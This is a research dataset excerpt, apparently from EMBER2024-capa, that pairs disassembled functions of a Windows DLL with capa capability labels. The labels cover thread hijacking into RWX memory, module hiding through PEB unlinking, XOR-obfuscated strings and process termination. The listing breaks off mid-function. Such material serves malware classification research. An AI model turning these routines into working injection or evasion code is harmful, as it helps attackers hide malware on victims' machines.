joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015620
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1006f014]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str._pipediscord_ipc_0]
mov eax, dword [0x1006573c]
push ebx
push esi
push edi
push 0
push 0
mov dword [ebp - 0xc], eax
mov esi, ecx
mov ax, word [0x10065740]
push 3
movups xmmword [ebp - 0x34], xmm0
push 0
movups xmm0, xmmword [0x10065724]
mov word [ebp - 8], ax
mov eax, 0x30
push 0
mov word [ebp - 0xa], ax
lea eax, [ebp - 0x34]
movups xmmword [ebp - 0x24], xmm0
push 0xc0000000
movq xmm0, qword [0x10065734]
push eax
movq qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x100156f0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
call edi
cmp eax, 2
jne 0x100156b9
mov ax, word [ebp - 0xa]
cmp ax, 0x39
jae 0x10015706
inc ax
mov word [ebp - 0xa], ax
jmp 0x100156cf
cmp eax, 0xe7
jne 0x10015706
push 0x2710
lea eax, [ebp - 0x34]
push eax
call ebx
test eax, eax
je 0x10015706
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x100156a0
pop edi
mov byte [esi], 1
mov al, 1
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054720
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10054720
mov esp, ebp
pop ebp
ret
Function at 0x10017540
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, ecx
mov ebx, 1
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
add eax, 0x10
mov dword [ebp + 0xc], eax
push 0x5851f42d
xor eax, eax
mov ecx, esi
push 0x4c957f2d
shr ecx, 0x1e
xor eax, esi
xor ecx, edi
push eax
push ecx
call fcn.100575d0
mov edi, eax
mov esi, edx
mov eax, ebx
cdq
add edi, eax
mov eax, dword [ebp + 0xc]
adc esi, edx
inc ebx
mov dword [eax], edi
mov dword [eax + 4], esi
add eax, 8
mov dword [ebp + 0xc], eax
cmp ebx, 0x138
jl 0x10017563
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [eax], 0x138
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1001b520
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1006f014]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x75
mov dword [ebp - 0x2f8], 0x19012775
mov dword [ebp - 0x2f4], 0x11141a39
xor eax, eax
mov dword [ebp - 0x2f0], 0x1c070126
mov word [ebp - 0x2ec], 0x121b
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1001b57a
mov cl, byte [ebp - 0x2f8]
jmp 0x1001b565
push ebx
mov byte [ebp - 0x2e8], 0x2c
mov al, 0x42
xor al, byte [ebp - 0x2e8]
mov bl, 0x40
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x48
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x58
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 2
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1001b641
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054720
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001b62f
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001b62f
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1001b62f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1001b62f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001f20
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1001b62f
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10054720
mov esp, ebp
pop ebp
ret
Function at 0x1001b710
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x10067950]
xor eax, eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x18], 0x6278447e
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x747175
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1001b736
mov byte [ebp - 0x10], 0x6f
mov al, 1
xor al, byte [ebp - 0x10]
mov bl, 3
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0xb
mov bh, ah
mov byte [ebp - 1], ah
xor bl, al
mov byte [ebp - 6], 0
xor ah, al
mov byte [ebp - 0x11], 0
xor bh, al
mov byte [ebp - 0xb], ah
mov dh, dl
mov byte [ebp - 0xc], bl
xor dl, al
mov byte [ebp - 8], bh
xor dh, al
mov byte [ebp - 0xd], dl
mov cl, 0x1b
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 6], 0
mov ch, 0x41
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0xf]
mov byte [ebp - 0xa], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x1001b7bf
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x11
test esi, esi
jne 0x1001b7de
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001b7f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001b82e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001b832
cmp edx, esi
jne 0x1001b817
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1001b852
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001b856
cmp edx, esi
jne 0x1001b83b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1001b876
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001b87a
cmp edx, esi
jne 0x1001b85f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001b930
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1006f014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.1000e530
test eax, eax
je 0x1001ba3c
push esi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
test eax, eax
setne bl
test ebx, ebx
je 0x1001ba3c
push eax
call esi
test ebx, ebx
je 0x1001ba3c
movaps xmm0, xmmword [0x100669a0]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xe
jb 0x1001b990
mov byte [ebp - 0x18], 0x59
mov al, 0x37
xor al, byte [ebp - 0x18]
mov bl, 0x35
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x3d
mov bh, ah
mov byte [ebp - 9], ah
xor bl, al
mov byte [ebp - 0xe], 0
xor ah, al
mov byte [ebp - 0x19], 0
xor bh, al
mov byte [ebp - 0x13], ah
mov dh, dl
mov byte [ebp - 0x14], bl
xor dl, al
mov byte [ebp - 0x10], bh
xor dh, al
mov byte [ebp - 0x15], dl
mov cl, 0x2d
mov byte [ebp - 0x11], dh
xor cl, al
mov byte [ebp - 0xe], 0
mov ch, 0x77
mov byte [ebp - 0x16], cl
xor ch, al
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x17]
mov byte [ebp - 0x12], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xd78dd4
mov ebx, eax
call fcn.10010fa0
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1001ba5c
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push edi
call ebx
test eax, eax
jns 0x1001ba53
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 8], 0
ja 0x1001ba3c
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10054720
mov esp, ebp
pop ebp
ret
Function at 0x1001c8c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov byte [ebp - 0x10], 0x2c
mov al, 0x4e
xor al, byte [ebp - 0x10]
mov dl, 0x4d
mov byte [ebp - 0xf], al
mov dh, 0x73
mov al, byte [ebp - 0x10]
mov bl, 0x5f
push esi
xor dl, al
mov byte [ebp - 7], 0
xor dh, al
mov byte [ebp - 0xe], dl
push edi
mov esi, ecx
mov byte [ebp - 0xb], dh
sub esp, 0x18
mov byte [ebp - 7], 0
mov edx, esp
mov ch, bl
mov ah, 0x49
mov bh, 0x4f
mov cl, 0x43
xor bl, al
xor ah, al
mov byte [ebp - 0xd], bl
xor bh, al
mov byte [ebp - 0xc], ah
xor cl, al
mov byte [ebp - 0xa], bh
xor ch, al
mov byte [ebp - 9], cl
mov byte [ebp - 8], ch
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x1001c930
mov eax, dword [edx]
jmp 0x1001c932
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0xf], 0
jne 0x1001c93f
xor ecx, ecx
jmp 0x1001c94e
lea ecx, [ebp - 0xf]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001c945
sub ecx, edi
push ecx
lea eax, [ebp - 0xf]
mov ecx, edx
push eax
call fcn.100054b0
mov ecx, dword [esi]
call fcn.100106d0
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
add esp, 0x18
mov dword [esi + 4], eax
push 4
push eax
call ebx
test eax, eax
je 0x1001c97d
mov dword [esi + 4], 0
movaps xmm0, xmmword [0x100667e0]
xor ecx, ecx
movups xmmword [ebp - 0x14], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x1001c990
sub esp, 0x18
mov byte [ebp - 5], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x13], 0
jne 0x1001c9c1
xor ecx, ecx
jmp 0x1001c9d0
lea ecx, [ebp - 0x13]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001c9c7
sub ecx, edi
push ecx
lea eax, [ebp - 0x13]
mov ecx, edx
push eax
call fcn.100054b0
mov ecx, dword [esi + 4]
call fcn.100106d0
add esp, 0x18
mov dword [esi + 8], eax
push 4
push eax
call ebx
test eax, eax
je 0x1001c9fa
mov dword [esi + 8], 0
cmp dword [esi + 8], 0
je 0x1001ca14
cmp dword [0x100757a4], 0
mov ecx, 0x10b78ba
sete dl
call fcn.10010ed0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100229d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10059488
mov eax, dword fs:[0]
push eax
sub esp, 0x38
push ebx
push esi
push edi
mov eax, dword [0x1006f014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ax, word [ebp + 8]
mov dword [ebp - 4], 0
cmp dword [ebp + 0x1c], 0
mov word [esi + 0x28], ax
jne 0x10022adf
mov bh, 0x44
mov byte [ebp - 0x24], 0x25
mov byte [ebp - 0x12], bh
mov al, 0x4c
xor al, byte [ebp - 0x24]
mov cl, 0x40
mov byte [ebp - 0x11], 0x76
mov bl, cl
mov bh, byte [ebp - 0x11]
mov dl, 0x42
xor bh, byte [ebp - 0x24]
mov ah, 5
mov byte [ebp - 0x11], bh
mov ch, 0x66
mov byte [ebp - 0x22], al
mov dh, 0x49
mov al, byte [ebp - 0x24]
mov byte [ebp - 0x23], bh
xor cl, al
mov bh, byte [ebp - 0x12]
xor dl, al
xor bl, al
mov byte [ebp - 0x13], 0x4b
xor ah, al
mov byte [ebp - 0x19], 0
xor ch, al
mov byte [ebp - 0x21], cl
xor dh, al
mov byte [ebp - 0x20], dl
xor bh, al
mov byte [ebp - 0x1f], bl
mov al, byte [ebp - 0x13]
xor al, byte [ebp - 0x24]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 0x1e], ah
mov byte [ebp - 0x1d], ch
mov byte [ebp - 0x1c], dh
mov byte [ebp - 0x1b], bh
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x19], 0
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
jne 0x10022a9a
xor ecx, ecx
jmp 0x10022aa9
lea ecx, [ebp - 0x23]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10022aa0
sub ecx, edx
push ecx
lea eax, [ebp - 0x23]
push eax
lea ecx, [ebp - 0x40]
call fcn.100054b0
mov byte [ebp - 4], 1
mov esi, dword [esi + 0x10]
test esi, esi
je 0x10022b87
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10022b87
lea eax, [ebp - 0x40]
push eax
jmp 0x10022b7f
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
movaps xmm0, xmmword [0x10066cc0]
cmovae eax, dword [ebp + 0xc]
xor ecx, ecx
push eax
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x21
nop
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x10
jb 0x10022b00
sub esp, 0x18
mov byte [ebp - 0x17], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x10022b2e
mov eax, dword [edx]
jmp 0x10022b30
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x27], 0
jne 0x10022b3d
xor ecx, ecx
jmp 0x10022b4c
lea ecx, [ebp - 0x27]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10022b43
sub ecx, edi
push ecx
lea eax, [ebp - 0x27]
mov ecx, edx
push eax
call fcn.100054b0
lea eax, [ebp - 0x40]
push eax
call fcn.10009da0
add esp, 0x20
mov edi, eax
mov byte [ebp - 4], 2
mov esi, dword [esi + 0x10]
test esi, esi
je 0x10022b87
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10022b87
push edi
mov ecx, esi
call dword [0x100655b8]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x10022b99
inc eax
push eax
push dword [ebp - 0x40]
call fcn.10005380
mov eax, dword [ebp + 0x20]
cmp eax, 0x10
jb 0x10022bab
inc eax
push eax
push dword [ebp + 0xc]
call fcn.10005380
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x10023150
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movaps xmm0, xmmword [0x100675c0]
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x455f7349
push edi
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0xc], 0x584d5958
xor ecx, ecx
mov dword [ebp - 8], 0x424345
nop dword [eax]
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0x1a
jb 0x10023180
sub esp, 0x18
mov byte [ebp - 5], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x1f], 0
jne 0x100231b1
xor ecx, ecx
jmp 0x100231c0
lea ecx, [ebp - 0x1f]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100231b7
sub ecx, edi
push ecx
lea eax, [ebp - 0x1f]
mov ecx, edx
push eax
call fcn.100054b0
mov ecx, dword [esi]
call fcn.100106d0
add esp, 0x18
mov dword [esi + 4], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100374e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005a240
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x1006f014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [edi]
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
mov dword [0x10075664], eax
mov ebx, dword [edi]
push 4
push ebx
call esi
test eax, eax
jne 0x10037697
push 4
add ebx, 0xe5
push ebx
call esi
test eax, eax
jne 0x10037697
mov al, byte [ebx]
test al, al
je 0x10037697
cmp byte [ebp + 8], 0
jne 0x10037697
movaps xmm0, xmmword [str.B_a_60b]
xor ecx, ecx
movups xmmword [ebp - 0x54], xmm0
nop dword [eax]
mov al, byte [ebp - 0x54]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0xe
jb 0x10037560
lea eax, [ebp - 0x53]
mov byte [ebp - 0x45], 0
push eax
lea ecx, [ebp - 0x28]
call fcn.100055b0
lea eax, [ebp - 0x2b]
mov dword [ebp - 4], 0
mov word [ebp - 0x2c], 0x37
lea ecx, [ebp - 0x44]
push eax
mov byte [ebp - 0x2b], 0
call fcn.100055b0
mov byte [ebp - 4], 1
mov ebx, dword [edi + 0x10]
test ebx, ebx
je 0x100375ba
push 4
push ebx
call esi
test eax, eax
jne 0x100375ba
lea eax, [ebp - 0x44]
mov ecx, ebx
push eax
call dword [0x10065570]
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x100375d0
inc eax
push eax
push dword [ebp - 0x44]
call fcn.10005380
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x44]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.100055b0
mov byte [ebp - 4], 2
mov ebx, dword [edi + 0x10]
test ebx, ebx
je 0x10037604
push 4
push ebx
call esi
test eax, eax
jne 0x10037604
lea eax, [ebp - 0x44]
mov ecx, ebx
push eax
call dword [0x100655b4]
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x1003761a
inc eax
push eax
push dword [ebp - 0x44]
call fcn.10005380
mov ebx, dword [edi + 0x10]
test ebx, ebx
je 0x10037632
push 4
push ebx
call esi
test eax, eax
jne 0x10037632
mov ecx, ebx
call dword [0x10065578]
lea eax, [ebp - 0x2b]
mov word [ebp - 0x2c], 0x15
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x2b], 0
call fcn.100055b0
mov byte [ebp - 4], 3
mov ebx, dword [edi + 0x20]
test ebx, ebx
je 0x10037668
push 4
push ebx
call esi
test eax, eax
jne 0x10037668
lea eax, [ebp - 0x44]
mov ecx, ebx
push eax
call dword [0x100655b8]
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x1003767e
inc eax
push eax
push dword [ebp - 0x44]
call fcn.10005380
mov ecx, edi
call fcn.10039120
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x10037697
inc eax
push eax
push dword [ebp - 0x28]
call fcn.10005380
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10054720
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1004eec0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b198
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x1006f014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
mov dword [0x1007570c], eax
mov edi, dword [ebx]
push 4
push edi
call esi
test eax, eax
jne 0x1004f070
push 4
add edi, 0xe5
push edi
call esi
test eax, eax
jne 0x1004f070
mov al, byte [edi]
test al, al
je 0x1004f070
cmp byte [ebp + 8], 0
jne 0x1004f070
mov cl, 2
mov dword [ebp - 0x3c], 0x766c4702
mov dword [ebp - 0x38], 0x56227067
xor eax, eax
mov dword [ebp - 0x34], 0x4b226563
mov word [ebp - 0x30], 0x46
nop
xor byte [ebp + eax - 0x3b], cl
inc eax
cmp eax, 0xc
jae 0x1004ef5f
mov cl, byte [ebp - 0x3c]
jmp 0x1004ef50
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x2f], 0
push eax
lea ecx, [ebp - 0x28]
call fcn.100055b0
lea eax, [ebp - 0x2b]
mov dword [ebp - 4], 0
mov word [ebp - 0x2c], 0x33
lea ecx, [ebp - 0x54]
push eax
mov byte [ebp - 0x2b], 0
call fcn.100055b0
mov byte [ebp - 4], 1
mov edi, dword [ebx + 8]
test edi, edi
je 0x1004efac
push 4
push edi
call esi
test eax, eax
jne 0x1004efac
lea eax, [ebp - 0x54]
mov ecx, edi
push eax
call dword [0x10065570]
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x40]
cmp eax, 0x10
jb 0x1004efc2
inc eax
push eax
push dword [ebp - 0x54]
call fcn.10005380
mov edi, dword [ebx + 8]
test edi, edi
je 0x1004effc
push 4
push edi
call esi
test eax, eax
jne 0x1004effc
push 4
add edi, 0x10c
push edi
call esi
test eax, eax
jne 0x1004effc
mov eax, dword [edi]
test eax, eax
je 0x1004effc
lea edi, [eax + 0x130]
push 4
push edi
call esi
test eax, eax
jne 0x1004effc
mov dword [edi], 0xffffffff
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x54]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.100055b0
mov byte [ebp - 4], 2
mov edi, dword [ebx + 8]
test edi, edi
je 0x1004f030
push 4
push edi
call esi
test eax, eax
jne 0x1004f030
lea eax, [ebp - 0x54]
mov ecx, edi
push eax
call dword [0x100655b4]
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x40]
cmp eax, 0x10
jb 0x1004f046
inc eax
push eax
push dword [ebp - 0x54]
call fcn.10005380
mov edi, dword [ebx + 8]
test edi, edi
je 0x1004f05e
push 4
push edi
call esi
test eax, eax
jne 0x1004f05e
mov ecx, edi
call dword [0x10065578]
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x1004f070
inc eax
push eax
push dword [ebp - 0x28]
call fcn.10005380
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10054720
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10051740
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b2a8
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1006f014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x7c]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.100514e0
lea ecx, [ebp - 0x7c]
call fcn.10051590
push esi
lea ecx, [ebp - 0x7c]
call fcn.10051680
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x100517e7
inc ecx
push ecx
push dword [ebp + 8]
call fcn.10005380
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10054720
mov esp, ebp
pop ebp
ret

Function at 0x10051a50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10051c20
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x10051b2d
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x10051a9a
mov eax, dword [ebp - 4]
cmp eax, dword [0x1006f004]
ja 0x10051a9a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10051a6a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x10051abf
jmp 0x10051b2d
cmp dword [ebp - 0x14], 0x10000
